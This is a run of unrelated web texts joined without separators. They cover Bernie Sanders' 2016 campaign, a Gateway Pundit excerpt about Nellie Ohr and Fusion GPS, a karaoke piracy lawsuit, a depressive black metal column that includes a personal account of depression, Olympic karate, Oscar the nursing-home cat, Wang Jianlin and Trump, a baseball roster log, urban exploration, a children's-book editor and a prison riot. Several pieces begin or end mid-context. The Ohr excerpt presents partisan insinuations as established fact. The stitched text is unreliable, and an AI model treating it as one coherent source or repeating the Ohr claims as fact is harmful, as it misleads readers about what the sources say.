The results, to date, have been encouraging for the Vermont Senator. Just a few months ago, Clinton's leads in New Hampshire and Iowa appeared insurmountable. But now, as New Hampshire Public Radio noted recently, "The latest polls show Sanders leading Clinton by 22 points in New Hampshire and by 10 points in Iowa." Some who have examined polling trends, such as historian Eric Zuesse, have gone so far as to boldly predict Sanders will become the next President of the United States.
That's the current battle of phase one of the electoral math. More interesting, however, is the dynamics of what could become the second and third phases of a Sanders-led democratic revolution...
Phase Two
During a recent interview with CNN's Wolf Blitzer, Sanders, after acknowledging that he was "stunned" by the speed of his success to date, added: "We have a message that I believed from day one was going to resonate with the American people."
Sanders' belief that his message would "resonate" is grounded in statistics. As we reported in Bernie Sanders versus the 'Democracy Deficit':
When given a choice on policy, the populist positions advanced both by Sen. Elizabeth Warren (D-MA) and by Sanders enjoy overwhelming support from the public. For example, in a recent YouGov poll , 94% of Americans agreed with "Warren's argument that our political system is rigged in favor of the rich and powerful;" nearly 9 in every ten Americans (94% of Democrats) agree that interest rates on student loans should be reduced; 80% want to expand Social Security; and 72% agree with raising the minimum wage. Similarly, 82% of Americans support Sanders' proposal for massive investments in infrastructure improvement.
Likewise, as we reported back in 2009 at the outset of the healthcare debate, despite corporate media's virtual blackout of the issue, a New York Times/CBS poll revealed that nearly 2/3 of all Americans at the time supported a single-payer, "Medicare for All" universal healthcare system. A more recent poll reveals that 72% of Americans regard the cost of prescribed medications as unreasonable (a poll which preceded the decision by 32-year-old hedge fund manager Martin Shkreli to put lives at risk by raising "the price of a crucial AIDS medication from $13.50 per pill to $750 per pill.")
In other words, Sanders is "stunned" by how swiftly he's pierced the MSM's electronic curtain, but he's not surprised that, once heard, his message appears to be resonating with the American people.
His hope is that those same numbers work to his advantage during phase two, the general election race, presuming he is able to secure the nomination.
Envisioning a Third Phase
As Sanders discussed in his speech at the DNC Summer Meeting, the target of what he describes as a "political revolution" is much broader than the Presidency. He seeks a radical transformation from our current oligarchy to a functional democracy. It would be a transformation that renders as meaningless the suggestion that Sanders' progressive agenda would be doomed to failure because it would never get past square one in a Republican-controlled Congress.
President Obama, Sanders asserts, made a huge mistake in seeking to negotiate with radical Republicans in Congress, who were committed to making him a one-term President. That negotiating process served only to squander the Democratic majorities then held in both Houses of Congress and to suppress the vote, to the point that 63% of the American people; 80% of young people, were so disillusioned that they didn't bother to even turn out for the 2014 midterm.
"Any serious President that wants to represent working families," Sanders proclaimed, "has to mobilize the people all over this country to make the Congress an offer they can't refuse."
Thus, the success of a Sanders-led revolution will not be measured by him securing the Democratic nomination, or even being elected to serve as President, but by the extent to which the 2016 election and its aftermath transforms our society.
That, of course, means that the electorate must remain ever vigilant and active after the election. But then, nobody ever said that a political revolution would be easy.
Nellie Ohr and husband Bruce This information now officially links the fake Fusion GPS report to… The DNC, the Clintons, the DOJ, the FBI, the FISA courts and the CIA
. From The Gateway Pundit: Nellie Ohr, the wife of demoted Department of Justice official Bruce Ohr, who worked at Fusion GPS last year when the firm was working for the Clinton presidential campaign compiling the controversial anti-Trump Russian dossier, is listed as working for the CIA’s Open Source Works department in a 2010 DOJ report. The report lists Nellie and Bruce Ohr as expert participants along with Fusion GPS co-founder Glenn Simpson. Bruce Ohr met secretly with Simpson last year, as well as dossier author Christopher Steele, according to a Fox News report last week. From the Expert Working Group report EWG Report on International Organized Crime: Interesting… Nellie Ohr was granted a HAM radio license in May 2016 and lives a short distance away from the CIA:
Editor
A karaoke company is suing a group of Forest Park bars for allegedly copying and sharing digital files of their songs. On April 8, Slep-Tone Entertainment Corporation, creator of Sound Choice karaoke songs, filed suit against the owners of Blueberry Hill, Angelo O'Leary's and the Shortstop Lounge as well as a satellite Blueberry Hill in Fox Lake.
According to the suit, Lynn and Mark Sorice, bar co-owner John Raniere, and a company registered to the Sorices, Ginance Inc., are accused of pirating karaoke music by "ripping" the special CD+G discs the company sells and then loading them onto a computer hard drive. The suit alleges that the defendants employ six KJs at various bars and did not pay any royalties or fees to Slep-Tone for the privilege of displaying their trademark during karaoke shows.
In the past year, the company has filed 26 lawsuits in Illinois against karaoke jockeys, or "KJs," as well as against other restaurants and bars, including Legends Sports Bar & Grill in Glenview, America's Bar and Grill in Hoffman Estates, and Rocky Vanders Café and Bar in Prospect Heights.
According to the suit, the company pays musicians to record popular songs, which are then coupled with a digital file of song lyrics. The lawsuit alleges that customers observing the "Sound Choice" trademark in the lyrics might confuse pirated karaoke with a legal copy paid for through Sound Choice.
The suit asks for damages of $25,000 for every karaoke system the bars own and $50,000 for every bar where the allegedly pirated karaoke was performed. They also request that every computer disk, drive or other media with Sound Choice songs on it "be delivered up for destruction."
The company has filed lawsuits around the country, including a batch of suits against Las Vegas casinos and KJs, demanding $500 million in damages. The casinos defended themselves saying the KJs were independent contractors.
Other lawsuits have been filed in Florida, Ohio, Oregon, Nevada, New Jersey, California, New York, Washington, North Carolina and Alabama.
Taking a page from the file-sharing lawsuits filed by the Recording Industry Association of America (RIAA) in 2003 against individual users of Kazaa and Napster, the company has reportedly made offers to settle for $6,000 with KJs and bar owners in other states.
A protest website, www.soundchoicesucks.com complains that the company has generated a new business model of making money by threatening lawsuits against their own customers. Sound Choice co-owner Kurt Slep said in a post on the website that his company laid off 80 employees because of revenue loss due to pirating and has not recorded any new songs in two years.
"I really can't talk about it at all," said Blueberry Hill owner Marty Sorice. The Northern Illinois District Court issued a summons to Sorice's wife, son and business partner on April 24.
Contact:
I dropped out of college my sophomore year. I was failing classes. I didn’t want to go out with friends. I was sleeping about 15 hours a day. “Just come and get me,” I said, interrupting my parents’ protests over the phone. “I’m done.”
My sister was a master’s student at the same university, and agreed to take a weekend off to help me pack my things and take me home. I was in the passenger seat of her car the first time I fully realized what was happening to me. “I want to die,” I told her, and as many times as I’d said those words in jest as a angsty teenager, this was the first time I ever really meant them. I had fallen victim to the family curse. I was 20 years old, and, like my sister, my father, and his father, and his father, the chemicals in my brain had flipped a switch. I would no longer be able to feel like myself again without meds, and even then the artificial nature of my stability would never let me forget that I was broken. Every morning when I open that little opaque orange bottle and swallow one of those small pink pills, I’m reminded of that fact.
I’m not fishing for sympathy. Millions of people suffer from this disease, and we all do what we have to do to survive it. I’ve got my meds and support from my doctor, my friends and my family, and I’m doing ok. I didn’t die, and I don’t plan on dying, at least at the hands of depression. It’s just another piece of my own human experience.
There are lapses. Those times when I get on Bandcamp and buy 100 bucks worth of music, or go to the store and buy an entire new wardrobe (shopping is my favorite coping mechanism). At this point I’ve learned to read these signs and understand when I’m starting to slide. There are times when I let it come and there are times when I fight tooth and nail to hold it off. In every case, there’s one companion that stands with me, win or lose, and that’s music.
And that brings us to the point of this new column. “Feeling for the Light” is an ongoing exploration of what’s new in depressive black metal. In preparing for this column, I’ve done a lot of thinking on what depressive black metal really is. What separates it from atmospheric black metal, post black metal or any of the other myriad subgenres of black metal, which itself has done its fair share of sprawling since its inception in the late 80s? Is Ghost Bath considered depressive black metal? They’ve tagged themselves as such on their Bandcamp page, but songs like “Golden Number” bear a striking, almost copycat resemblance to Deafheaven‘s Sunbather. Even the most casual fan would find it a stretch to refer to Deafheaven as “depressive,” so why would Ghost Bath be seen any differently? Then there’s Violet Cold, whose debut album Desperate Dreams has been described as “feel good” and “fun.” Despite the synth pop overtones and the rapturous heights that album reaches, it’s been universally referred to as depressive black metal by anyone who’s reviewed it or talked about it. It doesn’t seem like the kind of genre tag one should throw around lightly. Better to hedge your bets and call a band “post black metal” or “atmospheric black metal” if you find yourself unsure.
Yet in almost every instance, the average listener can pinpoint a depressive sound with confidence, even if it’s free of most of the conventions that might make music “depressing.” That brings me to an important distinction. Depressive black metal can be, but is by no means required to be depressing. In fact, most depressive black metal actually serves as a rather cathartic experience that reaches into those dark places of the human psyche and pulls out something beautiful. On the other hand, depressive black metal does not aim to make things better. It simply says “I know this pain. Commiserate with me. Escape with me.” And that is what makes it such a unique and precious genre to those of us who struggle with this relentless disease. People will always try to fix things. They will always offer advice or platitudes, or they’ll give you “tough love.” Very rarely will they simply sit with you and just…be. And that, my friends, is often the thing that brings the most healing and comfort.
Eternal Valley – Ascend to the Unknown
Neckbrace Records | March 18, 2015
Eternal Valley is the DSBM/atmospheric black metal project of Orszar, yet another stellar black metal artist hailing from the Pacific Northwest. While the vast majority of Cascadian black metal has a decidedly granola bent, Orszar abandons the forests and the mountains of his homeland, choosing instead to travel among the stars into the vacuousness of space. It’s a common fantasy – to escape into that vast, foreign nothingness and leave everything behind. Despite this shared daydream, there are very few depressive black metal artists who choose to explore it, opting instead for the vague poetry of existential malaise. Eternal Valley takes that vagueness and gives it a home or, more accurately, a destination. The theme creates motion. A kinetic spark. Everything about this record genuinely feels like an epic, slow journey through space, gliding in and out of dust particles and moving between galaxies in search of peace or some other life. Heaven, perhaps. The angelic, ethereal synths mimic the sound of a choir while the lo-fi fuzz of the guitar acts as a textural counterweight that keeps that choir front and center without completely overpowering the compositions. Meanwhile, Orszar certainly seems to know his limitations on the sticks, and works very effectively within those limitations, sticking to the basics and throwing in a nice pitter-patter double bass kick when a little extra push is needed. This keeps the album moving along at a steady slow to mid-paced clip. There’s nothing flashy or technically profound going on with this album. Everything here is simply a showcase of excellent songwriting. Orszar wants nothing more than to escape with us into space. And in that, Ascend to the Unknown is an interstellar success.
Sadness – The Rain That Falls Alone…
Independent | March 16, 2015
Remember earlier when I said depressive black metal can be, but is by no means required to be depressing? Well, if it wasn’t obvious from the name, Sadness opts for the former. This 3 song rain storm is a bummer of an album. From the album intros’ echoing piano keys and drowned out screams of some cold and lonely spirit on the far edge of the woods, it’s immediately clear that The Rain that Falls Alone… aims to do nothing but drown the listener in his own sorrow. By the time the second track begins and we finally hear the first notes of a guitar, a debilitating fog has already settled in. Everything sounds like it’s happening in another place, echoing between the trees and disorienting the listener so that it feels like she’s coming closer, but will never find its source. It’s a brilliant aesthetic choice, but one not uncommon to depressive black metal. What sets Sadness apart is the ability to keep a distinct melody at the fore of the music while still maintaining that lo-fi, recorded-through-a-thin-wall sound. It’s a siren’s song in the midst of a violent storm. The cymbals constantly crash and that lonely spirit never stops its abrasive, haunting wail, but the slow melody remains steady, strong and calm. It’s the deceptive voice of reason leading us straight to the crash, wanting us to end it all. And in the moment, we are content only to listen, hoping that the pull doesn’t overwhelm us and drag us to that darkest fate. Sadness beckons us all.
The World Karate Federation reacted with delight at the announcement of the Executive Board of the International Olympic Committee to support the proposal to include Karate to the programme of the Olympic Games in Tokyo 2020.
The Executive Board of the IOC informed today after its meeting in Lausanne that it will endorse the plan to add Karate as new sport in the 2020 Olympic Games in the Japanese capital. This proposal will now be submitted for approval to the IOC Session to be held in Rio de Janeiro in August.
“The resolution adopted today by the Executive Board of the IOC is a great step towards the final decision to be taken in Rio de Janeiro. The ratification of this proposal will represent a historic occasion for all Karatekas around the world to be part of the Olympic dream under the WKF”, declared the WKF President Mr. Antonio Espinós.
New York Times Best Seller, Making Rounds with Oscar, Featuring Oscar the Cat is Now Available in Paperback
Our famous cat, Oscar, who resides on the third floor in Safe Haven Advanced Care, is featured in a book, Making Rounds with Oscar: The Extraordinary Gift of an Ordinary Cat by David Dosa, M.D. The book was released in February 2010 and, after spending eight weeks on the New York Times Bestseller list, the book is now available in paperback and multiple languages. Dr. David Dosa is a geriatrician with patients here at Steere House. His book follows the 2007 publication of an essay which appeared in the New England Journal of Medicine, garnering global media attention even then! The essay shared the story of Oscar and his extraordinary gift to instinctively sense when end of life is near. With his behavior, Oscar has helped to provide comfort and companionship when people have needed it most.
Described on Dr. Dosa's website, "Making Rounds with Oscar is the story of an unusual cat, the people he serves, their caregivers, and of one doctor who learns how to listen. The book is truly heartfelt, and full of humor and pathos. It allows readers to experience a world rarely seen from the outside, and often misunderstood."
Oscar's rare story provides a unique opportunity to learn more about terminal dementia and end-of-life care while sharing a glimpse of Steere House life and the things that make Steere House a home. At Steere House, we believe in the therapeutic benefits of animal companionship. Throughout the years, Steere House has been home to a variety of animals, including a number of cats, parakeets, a floppy-eared bunny and several regular canine visitors, who all help to make the presence of animals and their comfort benefits a way of life here. These animals are a vital part of our team of dedicated caregivers that make everyday life at Steere House that much richer.
Oscar is a tabby cat who resides on the third floor of the Steere House Nursing & Rehabilitation Center in Providence, Rhode Island. Adopted by the nursing home as a kitten, Oscar has lived his entire life on the 41-bed advanced dementia unit. Though much of his first year on the unit was nondescript, Oscar suddenly began making visits to residents on the third floor shortly before his first birthday. His visits originally went unnoticed, but family members and staff began to realize that Oscar’s appearances coincided with the deaths of terminal patients there. While the passing of some residents was not unexpected due to their advanced condition, Oscar’s visits proved to coincide remarkably with a resident’s final hours. Otherwise he was nowhere to be found. On several occasions over the next year, Oscar seemed to be the first “health care provider” on the floor to realize that a resident was about to die.
In time, staff at the nursing home began to rely on Oscar as an “early warning system,” announcing to those present that it was time to notify family and increase hospice services for those close to death. For his service to his patients, a local Hospice organization even awarded Oscar with their annual “Hospice Champion” award. When Dr. Dosa’s essay was published in the New England Journal of Medicine, Oscar’s story made international headlines. For several days, “Oscar the cat” was the most widely searched term on several web search engines.
These days, Oscar continues to patrol the halls of Steere House’s third floor dementia unit. Though at times, he has been caught sleeping on the job, Oscar continues to hold vigils for departing patients--mostly to the delight of family members struggling to deal with the death of their loved ones. He continues to be mentioned routinely in obituaries and during funeral services.
- Author David Dosa, M.D.
Click here to read Dr. Dosa's original essay in the New England Journal of Medicine.
Steere House Hosts Making Rounds with Oscar Book Signing Fundraiser
Click Above For a Gallery
Following the February release of Making Rounds with Oscar, Steere House and Dr. David Dosa hosted a book signing which served as a fundraiser for Steere House. The book's release, as well as the much deserved media attention it has received, has been a wonderful opportunity for Steere House.
And the book signing event was a nice way to involve the greater Steere House community in all the excitement. Making Rounds with Oscar has helped to tell a truly unique story and the role everyone here plays in keeping the promise of the Steere House mission.
Continue to visit our website for updates on the book and any news stories.
To view more pictures and video of Oscar, click here.
To learn more about the book and its author, visit www.daviddosa.com
“I just met with the chairman of Motion Picture Association of America and he was going to meet Trump and asked if I wanted to pass any message along. I told him to convey this: ‘I have invested $10 billion in the US and employed over 20,000 staff. Tread carefully or else these many jobs may be at risk. Trump has to understand that the growth of Hollywood movies are dependent on the Chinese market’,” Wang was quoted as saying in a company statement released after attending a summit in Beijing on December 10.
And Wang appears to have chosen a messenger who should know his way to Capitol Hill. The Motion Picture Association chairman is Christopher Dodd, who’s best known for having represented Connecticut in the Senate from 1981 to 2011, and for having co-authored the Dodd-Frank banking regulations.
Wang made his remarks during a question-and-answer session after the Dalian Wanda Group chairman delivered a speech to an annual meeting of China entrepreneurs in Beijing. Wang however said it’s still too early to say how Trump would view Chinese companies’ investment in the US and if there would be any policy shift.
Could Trump’s Tough Talk Mean Trouble for Wang and Wanda?
Back in the US, the new president-elect seems to be signalling major changes in US policy towards China. Speaking on Fox News just one day after Wang’s remarks, Donald Trump called into question the “one-China policy which has underpinned US relations with the mainland and Taiwan since the late 1970s. The one-China policy recognises that Taiwan is part of China.
“I don’t know why we have to be bound by a one-China policy unless we make a deal with China having to do with other things, including trade,” Trump said in response to a question on his taking a phone call from Taiwan President Tsai Ing-wen – a move that broke decades of US diplomatic tradition.
Trump indicated that Washington should reconsider its one-China policy if Beijing does not make concessions on trade and other issues such as the South China Sea and sanctions on North Korea.
Wang and Wanda have already come under fire from US politicians following an aggressive acquisition spree that has made the former PLA officer the biggest owner of theatres in the US, and seen his company buy up significant real estate projects in Chicago and Los Angeles.
In late November incoming Senate Minority Leader Chuck Schumer singled out Dalian Wanda Group’s acquisitions of US entertainment companies and other assets as a potential threat. The Democratic senator from New York asked administration officials to examine deals by Wanda and other companies to determine whether they are being orchestrated by the Chinese government.
Now the world’s largest theatre owner, Wanda acquired U.S.-based AMC Entertainment Holdings in 2012 as well as spending $743 million to buyout Australia-based theatre chain The Hoyts Group and another $1.2 billion to acquire Europe’s largest theater chain Odeon & UCI Cinemas Group this year.
Wang Vows to Create a Rival to US Soft Power
Seemingly undismayed by pushback from the US, at the same summit Wang predicted that Wanda could create a cultural brand that would rival American soft power.
“There is Hollywood in the US, Bollywood in India. It takes persistence and good foundations to build up such cultural brands that are internationally known,” Wang said. “But I am convinced to tell you this: if there is anyone in the world able to create the first Chinese cultural brand, it will only be Wanda.”
The Chinese tycoon said the company is on the right path by earlier acquiring international distribution channels, before aggressively embarking on content production.
“This mission may take five, eight or even 10 years. There’s no one telling me to do so. We feel that only Wanda could do it, and creating a Chinese cultural brand is our responsibility,” he said.
September 1, 2018 Colorado Rockies recalled C Tom Murphy from Albuquerque Isotopes.
August 7, 2018 Colorado Rockies optioned C Tom Murphy to Albuquerque Isotopes.
July 10, 2018 Tom Murphy roster status changed by Colorado Rockies.
July 7, 2018 Colorado Rockies placed C Tom Murphy on the paternity list.
June 12, 2018 Colorado Rockies recalled C Tom Murphy from Albuquerque Isotopes.
March 27, 2018 Colorado Rockies optioned C Tom Murphy to Albuquerque Isotopes.
October 5, 2017 Tom Murphy roster status changed by Colorado Rockies.
October 4, 2017 Colorado Rockies reassigned C Tom Murphy to the minor leagues.
September 1, 2017 Colorado Rockies recalled C Tom Murphy from Albuquerque Isotopes.
June 30, 2017 Colorado Rockies optioned C Tom Murphy to Albuquerque Isotopes.
June 15, 2017 Tom Murphy roster status changed by Colorado Rockies.
June 3, 2017 Colorado Rockies sent C Tom Murphy on a rehab assignment to Albuquerque Isotopes.
April 2, 2017 Colorado Rockies placed C Tom Murphy on the 10-day disabled list retroactive to March 30, 2017. Fractured right forearm.
September 2, 2016 Colorado Rockies recalled C Tom Murphy from Albuquerque Isotopes.
May 6, 2016 Albuquerque Isotopes activated C Tom Murphy from the 7-day disabled list.
April 10, 2016 Albuquerque Isotopes placed C Tom Murphy on the 7-day disabled list. Strained left oblique.
April 10, 2016 Albuquerque Isotopes placed C Tom Murphy on the 7-day disabled list.
March 18, 2016 Colorado Rockies optioned C Tom Murphy to Albuquerque Isotopes.
September 11, 2015 Colorado Rockies selected the contract of C Tom Murphy from Albuquerque Isotopes.
July 23, 2015 C Tom Murphy assigned to Albuquerque Isotopes from New Britain Rock Cats.
July 6, 2015 New Britain Rock Cats placed C Tom Murphy on the temporarily inactive list.
February 10, 2015 Colorado Rockies invited non-roster C Tommy Murphy to spring training.
September 27, 2014 New Britain Rock Cats activated C Tom Murphy from the 7-day disabled list.
May 16, 2014 Tom Murphy roster status changed by Tulsa Drillers.
February 4, 2014 Colorado Rockies invited non-roster C Tom Murphy to spring training.
August 5, 2013 C Tom Murphy assigned to Tulsa Drillers from Asheville Tourists.
April 23, 2013 Tom Murphy roster status changed by Asheville Tourists.
April 15, 2013 Asheville Tourists placed C Tom Murphy on the 7-day disabled list retroactive to April 14, 2013.
March 30, 2013 C Tom Murphy assigned to Asheville Tourists from Tri-City Dust Devils.
While most people keep on doing their daily routine and follow the rules set by society, some people can’t help themselves and they see the “No Entry” sign as an invitation to discover and interesting place few people have access to. They go on adventures in and around the city and the hobby is referred to as Urban Exploring.
Basics of Urban Exploration
Urban Exploring is an activity that involves peeking into human built sites, building and ruins from the past and present. These places are usually off-limits for the public and a certain amount of effort and ability to cross the mental barrier to walk into these places are needed. Often physical strength is also needed to climb walls and fences. Of course there is nothing wrong with asking owners to get inside the door to if that is possible.
Urban Exploration is often shortened urbex or ue and the explorer itself is often referred to as an urbexer. Entering live sites is called Infiltration. Place Hacking is also a common name referring to the challenge of finding the correct spot to enter a place – the entry point.
A true urbexer don't break into places, steal things or destroy properties. They follow the code widely known in this underground community which is "Leave nothing but footprints, take only photographs".
Sometimes it involves trespassing on private property but that doesn't need to be illegal. The laws vary from country to country. Real explorers show places the respect they deserve and always have in mind that most places are owned by someone even if it has stood empty for 50 years.
It is difficult to estimate when the first urban explorers started out but people has always gone on adventures. One of the first persons that went missing doing urban exploring was Philibert Aspairt who went down to the catacombs in Paris. His body was first found 11 years later.
City Layers
If you look at a typical city it has many layers. The lowest levels has storm water drains, train tunnels, basements, bomb shelters, abandoned train stations, sewers, utility tunnels and maybe even old mines. On the surface there are abandoned houses and buildings, industrial sites, construction sites, theme parks, car graveyards and other off limits areas. And then you have the high places like rooftops, skyscrapers, cranes and tall masts.
You find the urbexer in all of these. The majority of urban explorers tend to use uninhabited and abandoned locations as their playground. Mainly because these sites are easier to get in to and often have decay and paint peeling which many find very beautiful in its own way.
Beauty of decay
Many explorers combine the thrill of entering abandoned places with urban exploration photography. The reasons vary from the need to document the adventures and share it online on social media to creating beautiful fine art pictures from unusual places.
The photographs also serve as historical preservation and documenting old places is of great use for historians.
Most people get excited and surprised that abandoned places like churches, hospitals and huge factories even exist. People tend to get emotional when they see pictures of neglected homes with family photos and furniture left. Why did the people living here just leave and why didn’t anyone take care of the place? What happened in this abandoned theme park and how was it here when it once was a happy place? Emotion and curiosity is always triggered in people when they look at pictures of abandoned places.
For many urbexers the sheer beauty of the morning sun shining through a broken industrial window and light up an old rusty machine is a magic and breathtaking moment. Paint peeling, water damage and the post-apocalyptic feeling of empty spaces are truly beautiful. Abandoned places have a pleasant calm feeling and the hours fly by when the search for things to photograph takes place.
Safety
The most important thing when performing Urban Exploring is safety. It’s more important than getting a great shot. If the room in an abandoned building lacks a floor or the ceiling is close to collapse you should consider not entering that space.
There are also dangers like asbestos, toxic waste, heights, enclosed spaces, broken electricity systems and hostile squatters. There are many beautiful pictures taken underground in storm water drains, but remember to check the weather forecast when entering them because they are designed to be filled with water. ‘Don’t go draining when it’s raining’ is a phrase to remember.
Safety equipment like helmets and masks to prevent mold and other nasty substances getting into the lungs are always a necessity.
The security guards on some sites are usually placed there just to make sure no one is inside the buildings and get hurt.
Community
I earlier days were urban explorers usually shady groups of people or individuals that kept their adventures for themselves. But then Internet came and the amount of explorers has exploded and image service sites like flickr and facebook are filled up with photographs of decay and dereliction.
There are forums, urbex blogs and groups you can hook up with explorers for missions in your own country and abroad. Google maps lets you find places and plan your next journey with ease.
Nevertheless a true urbexer does never reveal the location of where his or her beautiful shots are taken in fear of it getting destroyed by vandals or thieves. There are unfortunately lots of examples of that. With a certain amount of respect in the urbex community and own pictures to refer to you can get a long way.
All the pictures you see here are mine.
Judging by the descriptions of most of the nine titles Carolrhoda and Lab are releasing this fall, Karre is succeeding his quest. In fact, he admits, some of the books on his list “can be polarizing,” eliciting enthusiastic responses from some quarters, but “kinda savage” feedback from others. “I noticed a trend in books of mine,” he says. “There’s a lack of middling reviews. I don’t know if I should be comforted or if I should make my peace with that. I hope that comes from trying to do new things.”
Karre, who previously served as acquisitions editor for Llewellyn’s YA fiction imprint, Flux, from its launch in 2005 through much of 2008, will in October celebrate his fifth anniversary at Lerner, acquiring and editing children’s and YA nonfiction and fiction titles.
It was happenstance that brought Karre into children’s publishing in the first place. Karre, who began his publishing career in 2002 at Creative Publishing International, in its home improvement book division, says that he initially sought a position at Llewellyn, not because he wanted to acquire and edit children’s fiction, but because he simply wanted to acquire and edit fiction. After almost three years building Flux’s list, Karre decided to “cast [his] lot with children’s books” and to expand his repertoire at Lerner.
“I wanted to try my hand at the whole range of children’s titles,” he recalled. “Llewellyn wasn’t interested in expanding downward and I was.” Carolrhoda’s 20–25 annual releases span the range from picture books to YA; every one, Karre says, is a book that “we feel passionately about.”
This fall’s list, Karre continues, includes everything from the first trade book for young readers on the history of sports-inflicted head injuries – Fourth Down and Inches: Concussions and Football’s Make-or-Break Moment (Sept.) by Carla Killough McClafferty – to two YA novels by authors making their debuts: a modern adaptation of Hamlet told from Ophelia’s perspective, A Wounded Name (Sept.) by Dot Hutchison; and Sex & Violence (Oct.) by Carrie Mesrobian, which, he says, “gets at teen sex in a way few books do.” Sex & Violence, the story of a doomed romance between two teenagers, explores the intersection of sex and violence among male teenagers; it recently received a starred review in PW. The book was acquired after Karre issued a call on his blog, in search of a manuscript about a romance that did not tend towards an eventual marriage.
“I also like when authors do weird experiments, or go off the beaten path,” he notes, citing Believe (Sept.) by Sarah Aronson, a novel about a 16-year-old girl who survived a suicide bombing in Jerusalem when she was six and, subsequently, has become a public figure. “It’s a book about teenage-ness, about identity, and how the process for this character involves an entire country.” As another example, he mentions Losing It (Sept), an anthology edited by Keith Gray, in which ten authors, most of them British, have written “short stories about virginity that, without being autobiographical, emphasize both its cultural and personal meanings.
Describing Carolrhoda’s mission as providing readers with “a larger picture of adolescence,” Karre explains that he doesn’t acquire books for YA readers per se; rather, he acquires books about teenagers. “I’m not interested in the orthodoxy regarding YA and what it is,” he adds, defining YA as a genre that explores the adolescent experience rather than a category for adolescent readers.
“Teenage-ness is a phenomenon. Asking ‘what do teens like to read?’ is a fool’s errand; it’s like asking ‘what do adults like to read?’ A lot of people are interested in adolescence as a subject for fiction.”
Youth culture, Karre notes, is “incredibly fertile for fiction,” intersecting, as it does, life, politics, and art, and, at its core, remaining constant even as its participants age out and are replaced by others.
“You can go right now to Catcher in the Rye,” Karre points out, “and find a passage that will resonate with the Trayvon Martin debate. You can go to A Clockwork Orange and find the same thing. There are relevant themes that endure in [youth] culture.”
A Categorical Refusal
This philosophy about YA literature also influences his views concerning New Adult fiction, a developing genre whose term is generally credited to St. Martin’s Press. In 2009, the house issued a call for more explicit, “older YA” fiction for readers ages 18-25 that emphasizes life post-adolescence, such as college, first jobs, and serious adult relationships.
“The most diplomatic way I can put it is that it’s not for me,” Karre says in response to PW’s query. “I don’t get it. My concern is that [it] loses the connection with the adolescent part.”
He elaborates on his reasons for rejecting the category: “[New Adult] is the wrong reaction to everything we’re hearing about the audience for YA, that 55% of the people who buy and read YA are not young adults themselves. What that tells me is, ‘Oh, it’s stupid to try and make the subject matter and the characters mirror the audience; so let’s not do that at all.’ ”
“Maybe it’s selling and maybe it works,” he says. “But it’s outside of what I’m good at and what interests me. We’re a children’s publisher. New Adult doesn’t make sense for us.”
What does make sense to Karre is the evergreen popularity of dystopian and paranormal YA fiction. Such stories, he argues, provide a prism through which to explore the realities of being a teenager. Dystopian and paranormal fiction are popular in YA, Karre says, because “they’re like the biggest campfire that you can imagine.”
“There’s something for everybody in those books,” he explains, adding that vampires exemplify the extremes of the physical and psychic transformations that accompany adolescence, including that sense of invincibility peculiar to teens. Plus, Karre notes, not only do vampires possess typical teenage attributes, albeit exaggerated ones, they also are “sparkly and good-looking,” further enhancing their appeal.
As for dystopian fiction, Karre says, “The end of things is something incredibly relevant to teenagers. The end of adolescence is the thing you see coming; it’s the slow approach to the end of childhood, this big cataclysmic thing.”
While Karre, who estimates that he has published 150 teen novels in total for Flux and Carolrhoda, is most closely associated with YA, his books for younger readers also tend to be unconventional; this fall’s picture book offerings, with their offbeat subject matter, are no exception. Not only does the list include the sixth installment in a series of picture books featuring athletic dinosaurs, Dino-Wrestling (Oct.) by Lisa Wheeler, illustrated by Barry Gott, but it also includes Hey Charleston!: The True Story of the Jenkins Orphanage Band (Nov.) by Anne Rockwell, illustrated by Colin Bootman; and The Bramble (Sept.) by Lee Nordling and Bruce Zick, about a boy who tumbles through a bramble into a mysterious world.
“If I could do only two things, I’d do picture book nonfiction and YA,” Karre says, explaining that Hey Charleston! was inspired by the true story of a former slave in South Carolina, who first opened an orphanage in 1891 and then formed a band there, using donated musical instruments last used by Confederate soldiers during the Civil War. “The swords into ploughshares image is what I love about it,” he says. “There’s never been a picture book before about Reverend Jenkins, and it’s such a cool story.”
The Bramble, the story of a young outcast who discovers a magical world, also appeals to Karre, who praises wordless (or, in The Bramble’s case, nearly wordless) picture books, “especially the ones that play with form.” They can’t be replicated in digital format, he insists; “it has to be a picture book.”
Despite the encroachments of digitization, Karre is optimistic about the future of children’s book publishing. “Books, particularly children’s books, are going to get through the digital transition,” he says, noting that even the most digitally savvy young readers are also interested in print, and that there’s less of a drop-off in recent years in YA hardcover sales than there is for adult hardcovers. He even sees the silver lining, declaring that digitization has “clarified what a gorgeous thing a print picture book is, what’s awesome about print picture books.”
Despite the challenges, including the tendency towards chasing after popular trends, children’s publishing is, Karre concludes, a “small but robust” industry that is made more sustainable by the strong sense of camaraderie that he’s not so sure exists in book publishing in general.
“If a prominent children’s author dies tomorrow, no other children’s author is going to spend the next six months on Twitter, writing nasty things about him or her,” he says, exaggerating the feuding that sometimes arises in the adult book world.
In contrast, he notes, children’s book authors are “taking risks; they’re doing brave work and they’re supporting one another. It’s all very collegial.”
“It’s exciting, and it continues to be exciting,” he says. “It seems like they’re not having as much fun in adult publishing.”
Even though every author who’s been published by Carolrhoda Lab has also been published by larger houses, and although he has lost authors whose careers he’s launched to competitors, Karre maintains his belief in children’s book publishing as a community of friends. He insists that the author-publisher relationship is an “at-will” relationship, and that the reality is that a larger house can often do more for an author than a medium-sized company like Lerner. But YA authors are a prolific lot, he says, and some of them are best served by having multiple publishers.
In August 2013, inmates took control of a cell block and threatened to kill hostages and prison guards.
Around 11 p.m. Aug. 5, five inmates entered a cell and came back out wearing masks.
New court documents show that accused inmates traded their hostage for two cigarettes after the prison riot in August 2013. (CBC) They smeared butter over HMP security cameras and proceeded to wreak havoc on the unit; they smashed windows, flooded floors, and pulled down steel doors and ceiling tiles.
One inmate smashed a microwave and kept pieces of the broken glass to use as a weapon.
The accused then tried to break down a glass partition that separated inmates from the prison guards, and repeatedly told the guards they would kill them once they got through.
They insisted they had hostages, and would cut their throats or decapitate them if police tried to intervene with the riot.
The Royal Newfoundland Constabulary was called in to assist prison staff with the situation.
After a tense stand-off, inmates revealed they only had one hostage, who they traded for two cigarettes.
A short time later, around 4 a.m., the rioters surrendered to police.
Justin Hopkins pleaded guilty to mischief. Other charges against him were dropped. (CBC) On Thursday morning, Julian Matthew Squires pleaded guilty to unlawful confinement and mischief by damaging property.
Philip James Hollihan, Justin Owens and Justin Hopkins have all pleaded guilty to mischief. Other charges against them were dropped.
Meanwhile, fellow inmates Adam Hayden and Justin Wiseman are facing the more serious charge of kidnapping.
Both Hayden and Wiseman appeared in court Thursday afternoon, but have yet to enter pleas.
